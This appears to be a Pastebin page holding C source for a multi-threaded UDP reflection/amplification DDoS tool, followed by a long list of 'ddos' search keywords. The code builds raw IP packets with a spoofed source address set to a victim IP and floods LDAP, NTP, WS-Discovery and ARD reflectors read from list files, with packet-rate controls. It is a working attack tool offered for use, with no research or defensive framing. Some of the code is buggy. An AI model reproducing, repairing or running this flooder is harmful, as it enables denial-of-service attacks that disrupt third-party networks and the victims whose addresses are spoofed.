Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <time.h>
- #include <pthread.h>
- #include <unistd.h>
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
- #include <sys/socket.h>
- #include <netinet/ip.h>
- #include <netinet/udp.h>
- #include <arpa/inet.h>
- #define MAX_PACKET_SIZE 8192
- #define PHI 0x9e3779b9
- static uint32_t Q[4096], c = 362436;
- struct list
- {
- struct sockaddr_in data;
- struct list *next;
- struct list *prev;
- };
- struct list *head;
- volatile int limiter;
- volatile unsigned int pps;
- volatile unsigned int sleeptime = 100;
- struct thread_data{ int thread_id; struct list *list_node; struct sockaddr_in sin; };
- void init_rand(uint32_t x)
- {
- int i;
- Q[0] = x;
- Q[1] = x + PHI;
- Q[2] = x + PHI + PHI;
- for (i = 3; i < 4096; i++)
- {
- Q[i] = Q[i] ^ Q[i] ^ PHI ^ i;
- }
- }
- uint32_t rand_cmwc(void)
- {
- uint64_t t, a = 18782LL;
- static uint32_t i = 4095;
- uint32_t x, r = 0xfffffffe;
- i = (i + 1) & 4095;
- t = a * Q[i] + c;
- c = (t >> 32);
- x = t + c;
- if (x < c) {
- x++;
- c++;
- }
- return (Q[i] = r - x);
- }
- unsigned short csum (unsigned short *buf, int nwords)
- {
- unsigned long sum = 0;
- for (sum = 0; nwords > 0; nwords--)
- sum += *buf++;
- sum = (sum >> 16) + (sum & 0xffff);
- sum += (sum >> 16);
- return (unsigned short)(~sum);
- }
- char * lightamp_protocol(){
- while(1){
- char *protocol[4];
- protocol[0] = "ldap.txt";
- protocol[1] = "ntp.txt";
- protocol[2] = "wsd.txt";
- protocol[3] = "ard.txt";
- return protocol[rand()%4+0];
- }
- }
- void *lightamp_setup(void *par1)
- {
- struct thread_data *td = (struct thread_data *)par1;
- char datagram[MAX_PACKET_SIZE];
- struct iphdr *iph = (struct iphdr *)datagram;
- struct udphdr *udph = (/*u_int8_t*/void *)iph + sizeof(struct iphdr);
- struct sockaddr_in sin = td->sin;
- struct list *list_node = td->list_node;
- int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
- if(s < 0){
- fprintf(stderr, "Could not open raw socket.\n");
- exit(-1);
- }
- init_rand(time(NULL));
- memset(datagram, 0, MAX_PACKET_SIZE);
- iph->ihl = 5;
- iph->version = 4;
- iph->tos = 0;
- iph->id = htonl(rand()%13370+1);
- iph->frag_off = 0;
- iph->ttl = 255;
- iph->protocol = IPPROTO_UDP;
- iph->check = 0;
- iph->saddr = inet_addr("192.168.3.100");
- udph->source = htons(rand()%13370+80);
- udph->check = 0;
- iph->saddr = sin.sin_addr.s_addr;
- iph->daddr = list_node->data.sin_addr.s_addr;
- iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
- if(lightamp_protocol() == "ldap.txt"){
- memcpy((void *)udph + sizeof(struct udphdr), "\x30\x84\x01\x00\x01\x2d\x02\x01\x07\x63\x84\x00\x00\x00\x24\x04\x00\x0a\x01\x00\x0a\x01\x00\x02\x01\x00\x02\x01\x64\x01\x01\x00\x87\x0b\x6f\x62\x6a\x65\x63\x74\x43\x6c\x61\x73\x73\x30\x84\x00\x00\x00\x00", 51);
- udph->len=htons(sizeof(struct udphdr) + 8);
- udph->dest = htons(389);
- iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 8;
- }
- if(lightamp_protocol() == "ntp.txt"){
- memcpy((void *)udph + sizeof(struct udphdr), "\x17\x00\x03\x2a\x01\x00\x01\x00\x02\x01\x07\x63\x84\x00\x00\x00\x24\x04\x00\x0a\x01\x00\x0a\x01\x00\x02\x01\x00\x02\x01\x64\x01\x01\x00\x87\x0b\x6f\x62\x6a\x65\x63\x74\x43\x6c\x61\x73\x73\x30\x84\x00\x00\x00\x00", 8);
- udph->len=htons(sizeof(struct udphdr) + 8);
- udph->dest = htons(123);
- iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 8;
- }
- if(lightamp_protocol() == "wsd.txt"){
- memcpy((void *)udph + sizeof(struct udphdr), "<:/>", 8);
- udph->len=htons(sizeof(struct udphdr) + 8);
- udph->dest = htons(3702);
- iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 8;
- }
- if(lightamp_protocol() == "ard.txt"){
- memcpy((void *)udph + sizeof(struct udphdr), "\0\x14\0\x01\x03\x01\x00\x01\x00\x02\x01\x07\x63\x84\x00\x00\x00\x24\x04\x00\x0a\x01\x00\x0a\x01\x00\x02\x01\x00\x02\x01\x64\x01\x01\x00\x87\x0b\x6f\x62\x6a\x65\x63\x74\x43\x6c\x61\x73\x73\x30", 5);
- udph->len=htons(sizeof(struct udphdr) + 8);
- udph->dest = htons(3283);
- iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 8;
- }
- int tmp = 1;
- const int *val = &tmp;
- if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
- fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
- exit(-1);
- }
- init_rand(time(NULL));
- register unsigned int i;
- i = 0;
- while(1){
- sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &list_node->data, sizeof(list_node->data));
- list_node = list_node->next;
- iph->daddr = list_node->data.sin_addr.s_addr;
- iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
- iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
- pps++;
- if(i >= limiter)
- {
- i = 0;
- usleep(sleeptime);
- }
- i++;
- }
- }
- int main(int argc, char *argv[ ])
- {
- if(argc < 5){
- fprintf(stdout, "Usage: %s target IP threads pps limiter -1 time\n", argv[0]);
- exit(-1);
- }
- srand(time(NULL));
- int i = 0;
- head = NULL;
- fprintf(stdout, "Setting up sockets\n");
- int max_len = 128;
- char *buffer = (char *) malloc(max_len);
- buffer = memset(buffer, 0x00, max_len);
- int num_threads = atoi(argv[2]);
- int maxpps = atoi(argv[3]);
- limiter = 0;
- pps = 0;
- int multiplier = 100;
- FILE *list_fd = fopen(lightamp_protocol(), "r");
- while (fgets(buffer, max_len, list_fd) != NULL) {
- if ((buffer[strlen(buffer) - 1] == '\n') ||
- (buffer[strlen(buffer) - 1] == '\r')) {
- buffer[strlen(buffer) - 1] = 0x00;
- if(head == NULL)
- {
- head = (struct list *)malloc(sizeof(struct list));
- bzero(&head->data, sizeof(head->data));
- head->data.sin_addr.s_addr=inet_addr(buffer);
- head->next = head;
- head->prev = head;
- } else {
- struct list *new_node = (struct list *)malloc(sizeof(struct list));
- memset(new_node, 0x00, sizeof(struct list));
- new_node->data.sin_addr.s_addr=inet_addr(buffer);
- new_node->prev = head;
- new_node->next = head->next;
- head->next = new_node;
- }
- i++;
- } else {
- continue;
- }
- }
- struct list *current = head->next;
- struct sockaddr_in sin;
- pthread_t thread[num_threads];
- sin.sin_family = AF_INET;
- sin.sin_addr.s_addr = inet_addr(argv[1]);
- struct thread_data td[num_threads];
- for(i = 0;i<num_threads;i++){
- td[i].thread_id = i;
- td[i].sin= sin;
- td[i].list_node = current;
- pthread_create( &thread[i], NULL, &lightamp_setup, (void *) &td[i]);
- }
- fprintf(stdout, "Starting...\n");
- for(i = 0;i<(atoi(argv[4])*multiplier);i++)
- {
- usleep((1000/multiplier)*1000);
- if((pps*multiplier) > maxpps)
- {
- if(1 > limiter)
- {
- sleeptime+=100;
- } else {
- limiter--;
- }
- } else {
- limiter++;
- if(sleeptime > 25)
- {
- sleeptime-=25;
- } else {
- sleeptime = 0;
- }
- }
- pps = 0;
- }
- return 0;
- }
- ddos attack
- ddos meaning
- ddos attack meaning
- ddosecrets
- ddos attacks today
- ddos protection
- doxing
- ddos definition
- ddos tool
- ddos vs dos
- ddos attack tools
- ddos attack definition
- ddos attack example
- ddos acronym
- ddos attack prevention
- a ddos attack
- a ddos attack can cause
- a ddos attack quizlet
- a ddos attack is more intensive than
- a ddos attack is performed at layer 7
- what is ddos attack example
- what happens during a ddos attack
- ddos botnet
- ddos bandwidth
- ddos bot
- ddos bots tf2
- ddos botnet github
- ddos botnet free
- ddos bitcoin
- ddos bot discord
- ddos checker
- ddos cyber attack
- ddos cloudflare
- ddos crime
- ddos computer
- ddos crypto
- ddos cyber security
- ddos cannon
- c ddos script
- c ddos github
- ddos c
- juno.c ddos
- ddos c'est quoi
- ddos c quoi
- ddos3r.c
- attaque ddos c'est quoi
- ddos def
- ddos definition computer
- ddos detection
- ddos defense
- ddos define
- ddos discord bot
- ddos download
- ddossed
- ddos examples
- ddos explained
- ddos extortion
- ddos email
- ddos error
- ddos event
- ddos effects
- ddos exploit
- exponential-e ddos
- ddos e dos
- ddos e crime
- ddos e crime portugal
- ddos e dns
- o'que e ddos
- oq e ddos
- email ddos
- ddos free
- ddos for hire
- ddos federal crime
- ddos felony
- ddos full form
- ddos fine
- ddos free online
- ddos ffxiv
- f-list ddos
- f-secure ddos
- ddos gaming
- ddos guide
- ddos guard verizon
- ddos gaming meaning
- ddos gif
- ddos google
- ddos gta online
- ddos guide destiny
- ddosing
- ddos hack
- ddos how to
- ddos hackers
- ddos how to prevent
- ddos hosting
- ddos hyper
- ddos happening now
- ddos history
- ddos ip
- ddos illegal
- ddos internet
- ddos ip address online
- ddos in gaming
- ddos in cyber security
- ddos images
- ddos ion cannon
- ddosed
- i ddos him
- ddos i cmd
- i got ddosed
- can i ddos myself
- am i ddos
- i'm getting ddosed
- can i ddos my friend
- ddos jail time
- ddos jobs
- ddos jokes
- ddos jelentése
- ddos java
- ddos juniper
- ddos javascript
- ddos java code
- j-ddos-sec-ap 4
- ddos kali linux
- ddos kahoot
- ddos kiwibank
- ddos kya hai
- ddos ka full form
- ddos kubernetes
- ddos kali linux 2021
- ddos kali linux tools
- s k ddos
- ddos league of legends
- ddos live map
- ddos link
- ddos legality
- ddos law
- ddos lumen
- ddos layers
- ddos linux
- l'attaque ddos
- ddos mitigation
- ddos map
- ddos meaning gaming
- ddos mitigation techniques
- ddos mitigation services
- ddos meaning slang
- ddos me
- ddos m
- ddos fivem
- m.pifra/ddos
- m-net ddos
- ddos news
- ddos network
- ddos networkchuck
- ddos network attack
- ddos now
- ddos nintendo switch
- ddos netflix
- ddos news today
- ddos online
- ddos online tool
- ddos on xbox
- ddos overwatch
- ddos on voip
- ddos orbital ion cannon
- ddos online free
- ddos on ps4
- ddos o que é
- ddos o dos
- o que ddos
- o q é ddos
- ataques ddos o que são
- o que sao dados
- como funciona o ddos
- o que ataque ddos
- ddos prevention
- ddos panel
- ddos protection guide
- ddos protection azure
- ddos prevention tools
- ddos protection aws
- ddos protection by cloudflare stuck
- ddos p
- ddos questions
- ddos que es
- ddos quick guide
- ddos quotes
- ddos quiz
- ddos questions to ask
- ddos quora
- ddos que é
- ddos roblox
- ddos reflection attack
- ddos ransomware
- ddos router
- ddos report
- ddos r6
- ddos roblox server
- ddos rate limiting
- r/ddos
- ddos stands for
- ddos software
- ddos site
- ddos service
- ddos script
- ddos someone
- ddos someones ip
- is ddosing illegal
- is ddos a felony
- is ddos a federal crime
- is ddos illegal in us
- is ddos a crime
- is ddos legal
- is ddos hacking
- is ddosing on xbox illegal
- ddos test
- ddos tracker
- ddos tool download
- ddos tutorial
- ddos today
- ddos tool online
- ddos tf2
- ddos t mobile
- at&t ddos
- at&t ddos protection
- at&t ddos attack
- at&t ddos attack 2020
- t mobile ddos reddit
- nsx-t ddos
- at&t ddos pricing
- ddos urban dictionary
- ddos udp
- ddos using kali linux
- ddos udp flood
- ddos using cmd
- ddos using ip
- ddos us
- ddos uk
- ddos u.s
- ddos u hrvatskoj
- can u ddos a phone
- can u ddos
- can u ddos closed port
- how do u ddos someone
- how do u ddos
- u.s under ddos attack
- ddos voip
- ddos vs dox
- ddos vector
- ddos voip.ms
- ddos verizon
- ddos vendors
- ddos virus
- gta v ddos
- gta v ddos attack
- what are the three types of dos and ddos attacks
- the difference between ddos and dos
- what is a dos and ddos attack
- ddos website
- ddos website free
- ddos website tool
- ddos wifi
- ddos what is
- ddos wiki
- ddos with ip
- ddos warzone
- ddos with cmd
- ddos w notatniku
- dos ddos
- jak ddosowac w cmd
- ataki ddos w polsce
- ddos w sieci lokalnej
- ddos w grach
- ddos w cs go
- ddos xbox
- ddos xbox gamertag
- ddos xbox live
- ddos xbox booter
- ddos xbox party
- ddos xfinity
- ddos xbox reddit
- ddos xmlrpc.php
- edgerouter x ddos protection
- project x ddos
- xbox series x ddos protection
- x-forwarded-for ddos
- sophos intercept x ddos
- dos and ddos
- ddos yourself
- ddos youtube
- ddos yesterday
- ddos yourself test
- ddos yandex
- ddos your own network
- ddos your school
- ddos your own internet
- ddos y dos
- diferencia dos y ddos
- ddos zombie
- ddos zoom meeting
- ddos zombie nets
- ddos zscaler
- ddos zoom
- ddos znacenje
- ddos vent
- ddos zoom host
- dayz ddos attack
- world war z dogs
- jak z ddosowac kolege
- jak z ddosować internet
- jak kogoś z ddosować
- strony z ddos
- ddos 0ad
- ddos port 0
- ddos trackid=sp-006
- ddos samp server 0.3.7
- 01 ddos
- port 0 ddos
- 0 que é ddos
- ddos 127.0.0.1
- ddos 101
- ddos 100 gbps
- ddos 1gbps
- ddos 1tb
- ddos 1tbps
- ddos 1 catalina
- ddos 10gbps
- 1. ddos attack
- ddosr-1
- titanfall 1 ddos
- 1 tbps ddos attack
- layer 1 ddos
- 1tb ddos
- remote dd0sr-1
- ddos 2021
- ddos 2019
- ddos 2016
- ddos 2021 report
- ddos 2020 github
- ddos 2k20
- ddos 2k21
- ddos 2018
- dos 2 review
- titanfall 2 ddos
- titanfall 2 ddos attack
- destiny 2 ddos
- titanfall 2 ddos reddit
- destiny 2 ddos error code
- destiny 2 ddos protection
- dota 2 ddos
- ddos 33
- ddos 3389
- ddos 389
- ddos 3702
- ddos 3ds
- ddos 3d secure
- 3cx ddos
- 3283 ddos
- layer 3 ddos
- python 3 ddos script
- python 3 ddos attack script
- level 3 ddos attack today
- teamspeak 3 ddos protection
- hping3 ddos
- diablo 3 ddos
- arma 3 ddos
- ddos 403
- ddos 404 github
- ddos 404
- ddos 4chan
- ddos 443
- 4it ddos
- ddos layer 4
- ddos playstation 4
- layer 4 ddos
- layer 4 ddos github
- layer 4 ddos attacks
- battlefield 4 ddos
- layer 4 ddos scripts
- layer 4 ddos protection
- battlefield 4 ddos attack
- playstation 4 ddos
- ddos 503
- ddos 5g
- ddos 502 bad gateway
- ddos 502
- ddos 5.7 download
- ddos 504
- ddos 5.6 download
- ddos 5.7 admin guide
- gta 5 ddos
- top 5 ddos attacks
- layer 5 ddos
- 5 minute ddos
- battlefield 5 ddos
- ddos 6.2 admin guide
- ddos 6.2
- ddos 6.2 release notes
- ddos 6.1 admin guide
- ddos 6.0 download
- ddos 6.0 admin guide
- ddos 6.2 command reference guide
- ddos 6.1
- ddos 6/15/20
- rainbow 6 ddos
- rainbow 6 ddos attack
- layer 6 ddos
- centos 6 ddos
- ntp mode 6 ddos
- ddos 7.2 admin guide
- ddos 7.6 admin guide
- ddos 7.1 admin guide
- ddos 7.4 admin guide
- ddos 7.3 admin guide
- ddos 7.5 admin guide
- ddos 7.6 administration guide
- ddos 7.0 release notes
- ddos 7 layer
- ddos 7 admin guide
- ddos 7
- ddos 7 administration guide
- layer 7 ddos attack
- layer 7 ddos script github
- layer 7 ddos attack tool
- layer 7 ddos attack types
- ddos 8nv
- ddos 8.8.8.8
- 8x8 ddos attack
- ddos port 80
- ddos port 80 and 443
- anti ddos 8080
- ddos port 8080
- ddos attack port 80
- 8 best ddos attack tools
- centos 8 ddos protection
- centos 8 ddos
- continent8 ddos
- 8 ball pool ddos
- ddos 9/15/21
- ddos 911
- 9anime ddos attack
- 911 ddos threat analysis and mitigation
- ddos attack 9/15/21
- asr 9000 ddos
- cisco 9300 ddos
- tomcat 9 ddos
- debian 9 ddos protection
- sophos utm 9 ddos
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement